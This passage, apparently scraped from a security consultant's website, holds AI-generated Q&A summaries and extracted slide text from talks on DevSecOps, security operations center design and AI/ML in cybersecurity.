to scan infrastructure as code (IaC) and container images. * Q: What cloud providers does Wiz support? A: AWS, Azure, GCP, and others. * Q: What is the benefit for developers? A: Frictionless security that doesn't impact runtime performance. * Q: How does it handle 'Secret Scanning'? A: It detects hardcoded secrets in code and cloud resources. * Q: What is 'Cloud Security Posture Management' (CSPM) in Wiz? A: Continuous assessment of cloud configurations against best practices. * Q: Who is the target audience? A: Cloud security engineers, DevOps teams, and CISOs. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1k_N5M0NoOznU-Hf_RnAQp3f4IlrBVVG4/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1k_N5M0NoOznU-Hf_RnAQp3f4IlrBVVG4/view?usp=drive_link]** DevSecOps : The Smart Way to Shift Left Montance® LLC 1 Christopher Crowley•Consultant: Montance® •Author of SOC -Class: Design, Build, Operate and Mature your Sec. Ops. Center •Author SOC -Survey: 2017 -2023 •SANS Institute Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom, … Montance® LLC 2 Background 3 2022 Verizon DBIR“Error continues to be a dominant trend and is responsible for 13% of breaches. This finding is heavily influenced by misconfigured cloud storage.” “The rise of the Misconfiguration error began in 2018 and was largely driven by cloud data store implementations that were stood up without appropriate access controls.” From: Verizon 2022 Data Breach Investigations Report https://verizon.com/dbir Copyright 2022 Montance® LLC 4 2021 Verizon DBIR“A related result that will likely not be surprising is that this year, external cloud assets were more common than on -premises assets in both incidents and breaches.”* *“10 times as many Unknowns (…incidents…) as there were cloud assets[incidents].” From: Verizon 2021 Data Breach Investigations Report https://verizon.com/dbir Copyright 2022 Montance® LLC 5 The Cloud Trend: Obvious•Sure, real hot news: The cloud is important •It’s not the most urgent aspect of the quote on the previous slide in my opinion •It’s the reported notion that of the known incidents and breaches, there are approximately five times as many ( assuming cloud and on -prem about equal) that are of unknown deployment status •Who’s building all these systems where they can’t unequivocally identify what it is, who owns it, what value it has, and how to protect it? Copyright 2022 Montance® LLC 6 The Perpetrator Revealed: Us•Who’s building all these systems where they can’t unequivocally identify what it is, who owns it, what value it has, and how to protect it? •The answer to that: Us •This talk is about addressing this in an economical manner of good operational and cybersecurity hygiene practices Copyright 2022 Montance® LLC 7 The Proliferation of Automation•To address the massive volume of systems we’re turning to Automation (Orchestration) •What this does (paradox of automation) is minimize operational capabilities into narrow bands of expertise, largely dictated by the information delivered to the analyst •You need to anticipate this lack of knowledge, insight, and context Copyright 2022 Montance® LLC 8 Terms & Definitions 9 Copyright 2022 Montance® LLC 10 Builders Beware 11 Every System, Everywhere, Every time•You are likely attending this session because you’re involved in architecting, designing, developing, and deploying systems. •Future you and or someone else will: •operate them •monitor them •handle incidents on them •“After the report… back to two days ago… That way, when we get here now, they’ll be waiting for us!” Copyright 2022 Montance® LLC 12 Excellent! Yet We Lack Reach and Influence•The security operations center (SOC) is usually the end of the line, with little upstream integration or influence •2021 SANS SOC Survey 226/244 are performing Sec Architecture (https://soc -survey.com) Copyright 2022 Montance® LLC 13 Simple Explanation for This•My opinion as to the ongoing disconnect: the sponsors of the systems aren’t (aware of) ultimate operational implications at development time •DevOps isn’t funded or mandated to deliver effective security operational handover •My solution (a la Gus Gorman): skim a ½ cent of your effort Copyright 2022 Montance® LLC 14 System & Schema Reuse•Tools can help you do this •Noisy preponderance of disparate tools with different schemas tracking the data we care about •We use the AD/LDAP schema for people, the ticketing schema for system tracking, risk management framework for risk, business continuity schema for recovery, use case inventory, … •Some of these collections may not yet exist, reuse and adapt with Cyber/Ops staff in your environment Copyright 2022 Montance® LLC 15 Technology Implementation 16 Technology to ImplementCopyright 2022 Montance® LLC 17 Hunting & Use Cases 18 Hunting•Hunting is reviewing available data for indicators of suspicious items worthy of further investigation •Skeptical inspection assuming the alerting failed drives confidence that the alerting covers all cases •An output from hunting: ideas for engineered detections for cybersecurity use cases •Use cases are operational implementation of ideas developed / discovered during hunting Cyber Use Case DefinitionA Cybersecurity Use Case describes a relevant scenario of compromise and potential method(s) of detecting this offensive activity. @CCrowMontanceBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review The Steps to Build a Use Case•Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related Artifacts •Detection opportunities in data •Enrichment opportunities in data •(Threat Info, Correlation) •Implementation •Monitoring / Assessment •Revision / Review / ExpirationBusiness relevance Characteristics Artifacts Detection Enrichment Implementation Assessment Review https://mgt517.com/use -case (Excellent) DevSecOps 22 DevSecOps IngredientsCopyright 2022 Montance® LLC 23 Dev Sec Ops People Processes Technology Dev(Sec)Ops Process•Sponsorship, Analysis, Design, Data Plan •Platform, Dependencies Code •App Development, Data Integrity Build •Verification, Performance, Security, Metrics Test •Transition to System Deploy •Platform and Dependencies Patching, BCP Operate •Performance, Metrics, Use Cases, Threat Intel Monitor •Problem Resolution, Identify Incident and Resolve Respond Copyright 2022 Montance® LLC 24 DevSecOps $.005 Action List 25 Object ReuseCopyright 2022 Montance® LLC 26•Capture info in operationally usable ways •Sponsor → schema:PersonObject •if only you had just one repo of people in your Org •System developed → Thing? Taxon? Other? •Your security team is likely immature in its capability to define, retain, and refine systems in a mature (or any whatsoever) object notation •Demand a programmatic interface and/or define the schema and repository where you will store the information in a convenient (to you) way •System or Infrastructure as code actually helps herePlan Code Build Test Deploy Operate Monitor Respond Plan•Intended operational goals •System sponsor, system owner if different •Notional risks •Design constraints and unrealized opportunity •Data present •Involve cyber now •Hunting ideas at least; Use Cases better •Visibility; dependent / required deployed systems Copyright 2022 Montance® LLC 27•Sponsorship, Analysis, Design, Data Plan Code•Platform (OS, Cloud instance / function) presumed defensive capability •Software dependencies into vulnerability management repository •Open source libraries considered •Could be a mitigation alternative at some point in the future as an alternative to something which becomes unmaintained •Cyber input: risks and available visibility Copyright 2022 Montance® LLC 28•Platform, Dependencies Code Build•Data integrity assumptions •This is an assumption that system builders almost always make without acknowledging it •Design choice rationale •Platform, baseline, language, libraries, … •Common failure example •We’re not 100% deployed on our *** solution because of performance issues on servers; budget constraints limit visibility; logging disabled because $excuse3, … •I’ve been hearing this since Okena /Cisco Security Agent circa 2003 (much more recent than my 80s movie references) Copyright 2022 Montance® LLC 29•App Development, Data Integrity Build Test•Operational testing repurposed for cyber use •Performance metrics for cyber operations (MTT X, Impact quantified, operational outages) •Cyber reporting to user, owner, and sponsor as needed in an automated manner •Hunting ( https://mgt517.com/hunt ) •Cyber use cases tested Copyright 2022 Montance® LLC 30•Verification, Performance, Security, Metrics Test Deploy•Deployment onramp coordination •Systems specifically intended for •Gold standard baseline •Training •Emulation •Cyber operational inspection “known good” phase without actual operations •Use cases vetted and tested prior to deployment •Hunting in pre -deployed system Copyright 2022 Montance® LLC 31•Transition to System Deploy Operate•Platform requirements and expectations •Operational instructions with integrity protection and audit trail •Patch execution: normal, expedited, and PatchNow !™ (not really a ™) •Business continuity plan (BCP) for normal operations Copyright 2022 Montance® LLC 32•Platform and Dependencies Patching, BCP Operate Monitor•Projected performance ranges •Performance metrics •Use case scenarios of business relevance •Meaningful identification differentiation opportunities for use cases •From monitoring: issues and lessons recapture Copyright 2022 Montance® LLC 33•Performance, Metrics, Use Cases, Threat Intel Monitor Respond•Containment via standard move/add/change operational capability •Problem resolution (operational) suitable for cyber use and triggered automated or by human •BCP reuse opportunities within cyber ops •Preferred, acceptable, tolerable, and non - destructive mitigation actions •Shutdown & resumption (BCP again) Copyright 2022 Montance® LLC 34•Problem Resolution, Identify Incident and Resolve Respond Conclusion 35 Not Simple to Time Travel, Plan for Future•Those $.005 cents worth of information are just floating around out there, the computers know where •Gus Gorman: half cent Copyright 2022 Montance® LLC 36 --- ## Source: https://montance.com/questions.php?id=135 [![pdf](content/images/icons/pdf.svg) CDFS SOC Capabilities.pdf](https://drive.google.com/file/d/1aORbV1HERh7wlZO1pgiAK_qYoEnzFBQI/view?usp=drive_link) CDFS SOC Capabilities Presentation covering Management titled 'CDFS SOC Capabilities'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What does CDFS likely stand for in this context? A: Cyber Defense Force Singapore (or similar national/regional defense entity). * Q: What is the primary mission of the SOC described? A: To monitor, detect, and respond to cyber threats against national critical infrastructure. * Q: What are the three core functional areas of this SOC? A: Monitoring/Triage, Incident Response, and Threat Intelligence. * Q: What level of availability does the SOC maintain? A: 24/7/365 operational capability. * Q: What is the 'Hub and Spoke' model mentioned? A: A centralized SOC (Hub) coordinating with sector-specific or agency-specific SOCs (Spokes). * Q: What technology is central to their monitoring? A: A SIEM (Security Information and Event Management) system. * Q: How is 'Threat Intelligence' utilized? A: To proactively hunt for threats and enrich alert data. * Q: What is the role of 'Tier 1' analysts? A: Initial triage and validation of alerts. * Q: What is the role of 'Tier 2' analysts? A: Deep dive investigation and incident response. * Q: What metrics are prioritized? A: Mean Time to Detect (MTTD) and Mean Time to Respond (MTTR). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1aORbV1HERh7wlZO1pgiAK_qYoEnzFBQI/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1aORbV1HERh7wlZO1pgiAK_qYoEnzFBQI/view?usp=drive_link]** 2/13/2023 1 Security Operations: Capabilities, Architecture, and People Montance® LLC –Maryland, USA SOC-Class.com || Montance® LLC1Copyright 2023 Montance® LLC – All Rights Reserved. Christopher Crowley –Montance® LLC•Background: root on (Ultrix/VMS) employer systems at 15 years old (80s #CYBER) •Sectors: Defense, Education, Energy, Government, Software Development, Financial, Telecom… •Consultant, author of SOC- Class.com: Security Operations, Design, Build, Operate. Teaches SANS: SEC575, SEC511, SEC504,++ Montance® LLC 2 2/13/2023 2 This Material is Excerpt from SOC-Class and my Public Talks SOC-Class.com || Montance® LLC3Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Threats SOC-Class.com || Montance® LLC4 Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 2/13/2023 3 Threats -taxonomy (B$,M$,T$) $B $M $T Montance® LLC 5•This adapted figure (ES.1 Threat Taxonomy) from US DOD Defense Science Board report Resilient Military Systems… •groups threats into ten, million, and billion dollar level resource capability clubs where: •$T: reuse vulnerabilities, •$M: discover vulnerabilities, •$B: create vulnerabilities. SOC Reference Architecture SOC-Class.com || Montance® LLC6 Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 2/13/2023 4 Functional Areas of a SOC Steering Committee Command Center Monitoring Threat Intelligence Incident Handling Forensics Self-Assessment Steering Committee•Three Functions Performed in Steering Committee Lifetime, Re-use existing governance structure if available 1.Design: requirements, capability, services offered, statement of success (become metrics) 2.Build: assure alignment with design objectives 3.Operational oversight: guiding SOC adaptation and performance improvements in response to changing IT requirements and business drivers 2/13/2023 5 Steering Committee Variations•Formal structured committee, part of a larger governance program, representation as described •Less formal structure of voting, etc. but formal membership definition •Two groups: strategic decision makers (2-3 people) and tactical implementers (8+ people) •Ad hoc structure ( not recommended ) 3 5 9 Low Moderate High 5 Functional 15 25 45 7 Informational 21 35 63 9 Recoverable 27 45 81 Impact QuantificationCurrent Incident 73 25+21+27•Systems identified (start with big groupings) •Steering committee defines quantitative values •SOC Reports incidents using this matrix 2/13/2023 6 Functional Components of SOC•To discuss a SOC, I discuss the functional capabilities a SOC is expected to perform •I address in the SOC-Class •Software and hardware to make a SOC •SOC structural arrangements •SOC interactions to the constituents •Processes for repeatable, effective operations •Orchestration and Automation guidance Components by Another Name•You might call these functions different things •Functions may be combined: CC+MON, IR+FOR, TI+SA (or other variations) •Likely have a pool of staff to accomplish these various tasks without separation by function •Might be with arranged between staff and outsourced partners (outsourcing section later) •The SOC needs to do all these things 2/13/2023 7 Command Center•The Command Center directs action and manages communication of all security operations related activity •Single point of entry for security related requests (telephone number for police/fire/health emergencies) •Authority to direct response and notify constituents •Verification, escalation, triage, deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems, engage appropriate parties, meet reporting SLAs SOC Operations•SOC Operations –Probably Command Center or Monitoring sub-function •There is quite a bit of care and feeding required for whatever technology we select •Where does this belong within the SOC? •Infrastructure as part of Command Center •Maybe be in MON or “matrixed” in small SOC •Usually in CC or MON, unlikely in other functions 2/13/2023 8 Monitoring•Fundamental and critical: monitor for issues •Watching the actions and communication of the information systems for unwanted activity, common failure is bad inventory of systems and owners ( defensive topography ) •Dedicated hardware, software, and staff •Gigantic amounts of constantly changing data •Objective : fast, accurate detection of issues Threat Intelligence•Insecure systems won’t be compromised/impacted without a threat leveraging the vulnerability •Study threats to our environment (predicted and experienced) to better prepare, detect, and respond •We have the home field advantage, let’s use it! •Produce and/or consume threat intelligence •Keep organization informed of threat landscape •Objective: tactical and strategic advantage over adversaries 2/13/2023 9 Incident Handling•Incident Response is engaged once a problem is detected, usually by MON or external notification •Strives to minimize the damage from the incident •Analysis to determine extent of the incident •Assist to return systems to normal state •Leverages lessons learned from incidents to enhance security posture and defensibility of the organization •Objective: minimize impact of problems Incident Handling•Emblematic description: Three characters of incident response •Janitorial Services: low cost, routine •Fire Fighters: intervention, minimize loss •Apex Predator: high performance •https://www.mgt517.com/ir3 2/13/2023 10 Forensics•Often supporting Incident Response, authoritative capability to detail the methodology and extent of the incident •Also useful for self-assessment within procurement process •Can separate further into these forensics specialties •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment Forensics –Host•Host Forensics studies data on individual systems – including cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: collection of artifacts and detailed analysis of events on systems of interest 2/13/2023 11 Forensics –Network•Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised Forensics –Reverse Engineering•RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also, could be firmware, hardware, etc. •Objective: analysis to determine the capability of hardware or software in use in the organization to determine its appropriateness 2/13/2023 12 Forensics –eDiscovery•eDiscovery is a necessary capability in every organization •If it already exists don’t fight to bring it into the SOC •If you are building a SOC and don’t have it, incorporate into design •Often interfaces with Legal team to define collection objectives •Leverages existing infrastructure to efficiently support collection •Manage retention of records (email, texts, documents, etc.) •Fulfill obligation to support electronic discovery •Example: US Government Freedom of Information Act (FOIA) requests must be filled upon request or justify not supplying the data •Objective: Collect specified information assets in a reproducible (hence defendable), cost effective, and thorough fashion Self-Assessment•Configuration Monitoring •Vulnerability Management •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist compromise and recover gracefully when incidents occur 2/13/2023 13 Configuration Monitoring•CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control and approval •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring for change identification •Objective: Develop system and application baselines and configurations, support monitoring changes from specified baseline settings to return to specification Vulnerability Management•Vulnerability Management is testing systems for issues, such as missing patches or misconfiguration and directing remediation and getting identified issues resolved •Typically performed by a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: such as vulnerabilities of known flaws or weak configurations, minimizing attack opportunities and effectiveness 2/13/2023 14 Penetration Testing•Pen Testing goes beyond vulnerability scans to model/demonstrate how an adversary would compromise a system and what is at risk •Time intensive, substantial expertise required •Objective: determine the risk of an information system by demonstrating impact of a compromise and model adversary attack methods against a system Penetration Testing Drives Change•When I say, you have to patch MS22-013, organizations usually don’t care and make all sorts of excuses or operational reasons why not •When I say in the debrief of the pen-test: I broke in to your accounts payable system and sent myself a check for $100,000 -patches happen quickly •True also for your SOC analysts, SOC pen testers are internal motivation 2/13/2023 15 Exercises•Exercises model plausible scenarios and challenge the staff identify it, then follow the procedures appropriate to that scenario. Exercises reinforce authorized / good practices •Very valuable, often neglected •The culture of “too busy” frequently prevents exercises •Improvement presumed to occur somehow “in process” •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues 2022 SOC-Survey https://soc-survey.com for downloads SOC-Class.com || Montance® LLC30 Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 2/13/2023 16 Survey Information●Initial 2022 survey (English, Spanish, Portuguese): 519 responses ●Japanese: 84 responses ●Response composition: tech, financial, and government ●Respondents are primarily in technical roles, some executives Capabilities•We focus on capabilities as defining a SOC •As opposed to architecture, centralization, on-premises / remote, etc. •Response set, consistent in what is done •There wasn’t scrutiny applied to industry or size based variation, but this is something that could be drilled into further with the responses 2/13/2023 17 Technology•Tech used •Tech satisfaction •Deployment state: full production, partial production, …purchased but not yet implemented •Chart is deployment state ordered (shown in blue), cross reference to another question: satisfaction (calculated as GPA) Staff•Several questions on staff composition and size •Duration of employment •Best approach to retention •Staff role composition •2020 Survey I did a series of hypothetical assessments based on the reported attitude of management toward hiring and retaining SOC staff 2/13/2023 18 Maturity Assessment Methods SOC-CMM MITRE ATT&CK Other Considerations SOC-Class.com || Montance® LLC35Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? Maturity•SOC CMM for assessment of maturity •Not the same as my SOC-Class, but strong correlation 2/13/2023 19 ATT&CK Anatomy ATT&CK Terminology: IOC vs TTPs•Indicator of Compromise (IOC): specific trait of malicious activity •ATT&CK considers its Behavioral Analytics Development an upgrade from IoCsthat moves away from specific details of software and moves toward techniques an adversary must useor implement to accomplish a tactic •Tactics, Techniques, Procedures (TTPs): industry name for all encompassing descriptors of adversary capability and behavior. ATT&CK is a framework to enumerate and communicate TTPs, with the added capability to articulate what can be done to detect and interfere (degrade, disrupt, deceive,…) with the TTPs in OSes 2/13/2023 20 MITRE ATT&CK Intention•Adversary Emulation •Red Teaming •Behavioral Analytics Development •Defensive Gap Analysis •SOC Maturity Assessment •Cyber Threat Intelligence Enrichment •(These are expressed in the white paper) 39 MITRE ATT&CK: Defensive Gap Analysis•MITRE suggests ATT&CK framework use is to identify the coverage aspect of the SOC’s defensive posture through “Defensive Gap Analysis” •Blue –High Confidence •Yellow –Med Confidence •Orange –Low & no plan 2/13/2023 21 MITRE ATT&CK Maturity•Lessons Learned Applying ATT&CK-Based SOC Assessments •Assumes a “third party” external assessment, but can be self- assessed. Takes 1-2 months •Inputs: survey, documentation, & interviews. Document review only •Artifacts: detection heatmap, prioritization plan of TTPs for detection improvement based on threat intelligence and MITRE analyst direction 41 Failures I’ve been identifying them throughout SOC-Class.com || Montance® LLC42 Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? 2/13/2023 22 No Vision for Architecture•You might disagree with my reference architecture. If you do, I’d love to discuss what you think is missing or superfluous •If you’ve put that much thought into it already, congratulations you haven’t fallen into the trap of this failure •The failure: no clear vision of architecture Montance® LLC 43 Steering Committee •Almost no organization starts the SOC project by identifying the Steering Committee structure and members. Why would you? It’s all about monitors, shift work and Tier 1-3 Analysts, SIEMs, Threat Intelligence Feeds, … •The failure: steering committee doesn’t exist or is inept so SOC direction (hence the term Steering) isn’t defined and there’s tremendous waste of effort Montance® LLC 44 2/13/2023 23 Defensive Topography•IT growth is persistent. SOCs rarely integrate into IT system development and deployment processes. SOCs rarely integrate into procurement and contracting •The failure: defensive topography is presumed to be someone else’s responsibility to give to the SOC. No. The SOC is responsible for cataloging “well managed systems” and “everything else”; knowing what assets are authorized Montance® LLC 45 Foresight, Consistency, Self-Discipline•Maturity is the term that is often discussed, but rarely defined •There were two clear (and freely available) methods of assessing maturity. If your SOC has already adopted one (anything) and self-assesses annually you haven’t made this mistake •The failure: SOC constituents change the maturity measurements frequently because there was no clear agreement of maturity objectives initially Montance® LLC 46 2/13/2023 24 The Hard Sell SOC-Class.com || Montance® LLC47Copyright 2023 Montance® LLC -All Rights Reserved. All Wrongs Reversed? SOC-Class•If you’re unsure if the SOC- Class is for you, look at topics: https://mgt517.com/pdf Montance® LLC 48 2/13/2023 25 SOC-Class•SOC-Class in-class activities (this doc available upon request: chris@montance.com) •Notexercises,but tasks for you to perform on your own SOC; not to be shared with the class, but are very good conversation starters and sharing opportunities Montance® LLC 49 Christopher Crowley•This slide deck available: https://mgt517.com/soc as are many other decks up one folder in Public. •Questions? •https://montance.com •Take the 2023 SOC-Survey https://soc-survey.com Montance® LLC 50 --- ## Source: https://montance.com/questions.php?id=168 [![pdf](content/images/icons/pdf.svg) SOC Survey Data 2](https://mgt517.com/soc) SOC Survey Data 2 Presentation by Christopher Crowley (2022-12) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Survey Data 2 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=167 [![pdf](content/images/icons/pdf.svg) PSW #760](document unavailable) PSW #760 Presentation by Christopher Crowley (2022-10-19) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for PSW #760 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=134 [![pdf](content/images/icons/pdf.svg) DarkReading DeepInstinct AI.pdf](https://drive.google.com/file/d/1kS7Dt10PFB4AhoYwia1v8jq9ngT9oL6T/view?usp=drive_link) Darkreading DeepInstinct AI Presentation covering AI/ML titled 'Darkreading DeepInstinct AI'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the core technology behind Deep Instinct? A: Deep Learning neural networks applied to cybersecurity. * Q: How does Deep Learning differ from traditional Machine Learning in this context? A: It uses raw data input without manual feature extraction, allowing for higher accuracy with less human intervention. * Q: What is the primary claim regarding 'Zero-Day' prevention? A: Deep Instinct claims to prevent unknown and zero-day malware pre-execution. * Q: What is the 'Prediction' capability? A: The ability to identify malicious files before they run based on static analysis. * Q: What platforms does the solution support? A: Endpoints, servers, and mobile devices. * Q: How does the solution handle 'Fileless' attacks? A: By monitoring memory and script execution behaviors. * Q: What is the false positive rate claimed? A: Extremely low compared to traditional AV and ML solutions. * Q: Does it require frequent signature updates? A: No, the model is trained offline and requires infrequent updates. * Q: What is the deployment model? A: Agent-based. * Q: Who is the target audience for this report? A: CISOs and security architects looking for advanced prevention. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1kS7Dt10PFB4AhoYwia1v8jq9ngT9oL6T/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1kS7Dt10PFB4AhoYwia1v8jq9ngT9oL6T/view?usp=drive_link]** Christopher Crowley•Consultant: Montance® •SOC-Class.com Design, Build, Operate and Mature your SOC. •SOC-Survey.com: 2017 -2022 •SANS Senior Instructor •Sectors: Defense, Education, Energy, Government, Financial, Software Dev., Telecom… Montance® LLC 1 Artificial Intelligence : Definition SOC-Class.com || Montance® LLC2Copyright 2022 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Cyber AI – Narrow Circumstances•The “narrow” definition of AI •AI system designed to solve one specific problem •Versus the General or Strong AI •More about this on the next slide •Currently an abundance of misinformation, unreasonable expectations, and wasted effort •Experimentation requires patience •Strong AI is coming some day, stay tuned… Montance® LLC 3 General AI (Russell / Norvig )•Efficiencies in problem solving •Operation within boundaries and constraints •Capabilities of knowledge representation •Natural language processing - human direction in human native manner •Learning based on activity, experimentation, and objectives •Observation (visual, auditory) •Activity (often robotics) Montance® LLC 4 AI Techniques & Uses•Learning •Reasoning •E.g., Expert systems •Knowledge •Representation and management •Planning •Strategic / Tactical Montance® LLC 5•Probabilities •E.g., Bayesian •Search / optimization •E.g., Swarming •Control systems •Neural Networks •Complex interactions •Entertainment Human Component•In cybersecurity, there is (and will continue to be) a need to integrate the AI/ML system with the human analyst and their workflows •AI/ML makes substantial use of suppression of information, and arriving at the right answer •Analyst needs guidance from that system •Further, inclusion of human lessons learned into the AI/ML system could hasten improvement Montance® LLC 6 Machine Learning•Machine Learning (ML) is specifically concerned with tuning algorithms by assessment of data •Iterative algorithmic improvement of accuracy •The algorithm may be responsible to perform feature extraction to determine optimal elements to assess •Then decide on most important way to arrive at an accurate decision Montance® LLC 7 Hidden Layer•The human analyst wants to see how the machine came to its assessment, but… •The Neural Network (NN) leverages a hidden layer of calculation, usually represented visually in description of the network as a node •There are multiple types of layers •Multiple terms to describe the layers and their interactions, not going to cover this here •Algorithm design optimizes type, use, dimension,… Montance® LLC 8 Supervised vs Unsupervised•Supervised machine learning makes use of a ground truth of comparison •Example, email corpus with known “Spam” and known “Ham” emails based on expert assessment •Unsupervised ML has no ground truth (no labels) in the training data •Hybrid uses both •Intention is to develop algorithm that’s applicable to new data Montance® LLC 9 Deep Learning (ML Distinction)•Deep Neural Network (DNN) / Deep Learning (DL) is a type of machine learning which makes use of multiple layers of information processing, selecting varying feature sets to produce a more robust assessment •Unsupervised, supervised, and hybrid approaches are in use currently •Feature extraction is typical in the first few layers of the DL; basically what to focus on Montance® LLC 10 Example Deep Learning•An autoencoder is an algorithm taking input and developing the same result as output •This may seem pointless, but consider noise removal in an audio track •A record player has audible cracks and pops resulting from the sound transmission between the platter and the needle •Develop an algorithm for “cleaning” the sound •Application to cyber: identify attack relevant action Montance® LLC 11 Efficiencies in Problem Solving•Malware assessment (malicious/benign) •Unsolicited email filtering •Current common use scenario •Effective adversary interruption strategies •Apply game theory learning algorithm to MITRE ATT&CK® to assert the most important interruptions in your environment •Analysts currently use ATT&CK® this way, an AI could propose/perform effective containment Montance® LLC 12 Boundary / Constrained Operations•AI for comparing damage assessment from interruption of adversary (contain system) and adversary accomplishing action on objectives (wait for confirmation) •Alternate containment options to avoid operational impact •Legal constraints in varying jurisdictions in IR •Optimal data for investigations, alternate data when optimal data is unavailable Montance® LLC 13 Knowledge Representation•IT systems valuation with multiple stakeholders and data of varying sensitivity •We currently deploy “knowledge management” systems to store information for cyber analysts •Threat actor characterization •Threat Intelligence as a likely adversary profile in addition to suggesting likely indicators •Analytical methodology confidence depiction •Analysis of competing hypothesis, for example Montance® LLC 14 Natural Language Processing•Chatbot driven interaction •Chatbots can relieve an analyst from the unnatural strain (long -term overuse injuries) of typing •Cyber analysts learn the syntax of programming and query languages to provide appropriate direction to computers. Why not talk to it? •Because to date, there’s inadequate fidelity when absorbing natural language direction Montance® LLC 15 Experimentation and Objectives•WOPR comes to mind here •A cultural reference •Practical cyber context for training and developing cyber capability in Analysts •Automated pen test modeling and impact assessment for available pathways •Simulation of attacker capability without actually testing the production network Montance® LLC 16 Observation (visual, auditory)•In Cyber we tend to focus on visibility but there are also observability concerns •Ability to discern subtle changes usually escapes most analysts because of the volume of noise, human memory (and recall) constraints •Aforementioned autoencoders could help here •ML helps discern details and identify meaningful differences Montance® LLC 17 Activity (often robotics)•Application of standard move -add-change actions in support of reactive cyber activity •E.g., deploying authentication challenges in suspicious circumstances •Fraud suspicion in financial sector results in notifications and transaction refusal •Pause admin authentication session to mandate an out-of-band verification based on behavioral anomaly of authentication attempt Montance® LLC 18 Survey of Current of AI/ML SOC-Class.com || Montance® LLC19Copyright 2022 Montance® LLC - All Rights Reserved. All Wrongs Reversed? Deep Learning Examples•A 2019 Survey by Johns Hopkins University Applied Physics Lab (JHUAPL) reviewed cybersecurity use of deep learning (DL) •At that time, the prevailing use of DL (of 75 papers studied) was malware classification and network intrusion detection •There was observation of inclusion of combined physical / cyber systems (e.g. automobile) Montance® LLC 20https://www.mdpi.com/2078 -2489/10/4/122/pdf Deep Learning Examples•The type of network utilized by the papers was also assessed by the paper •Restricted Boltzmann Machines (RBM) were popular, according to authors, to address the problem of unlabeled data •Recurrent Neural Networks (RNN) were popular, according to the authors, because of the unique capability to accept variable length inputs Montance® LLC 21https://www.mdpi.com/2078 -2489/10/4/122/pdf --- ## Source: https://montance.com/questions.php?id=166 [![pdf](content/images/icons/pdf.svg) SOC Survey Intro 1](https://www.sans.org/white-papers/sans-2022-soc-survey/) SOC Survey Intro 1 Presentation by Christopher Crowley (2022-05) This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: Overview A: Presentation details for SOC Survey Intro 1 ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://montance.com/questions.php?id=133 [![pdf](content/images/icons/pdf.svg) DarkReading Qualys.pdf](https://drive.google.com/file/d/1kK41tzfsR6bT1ZgZSkPh42NmjtceqzKg/view?usp=drive_link) Darkreading Qualys Presentation covering Ops Reality titled 'Darkreading Qualys'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary focus of the Qualys platform? A: Cloud-based IT, security, and compliance solutions. * Q: What is the 'Cloud Agent'? A: A lightweight agent installed on endpoints that provides real-time visibility. * Q: How does Qualys assist with 'Asset Management'? A: By providing a Global AssetView of all IT assets across on-prem, cloud, and endpoints. * Q: What is 'Vulnerability Management, Detection and Response' (VMDR)? A: An integrated workflow to discover, assess, prioritize, and patch vulnerabilities. * Q: How does Qualys handle 'Compliance'? A: By mapping asset configurations to CIS 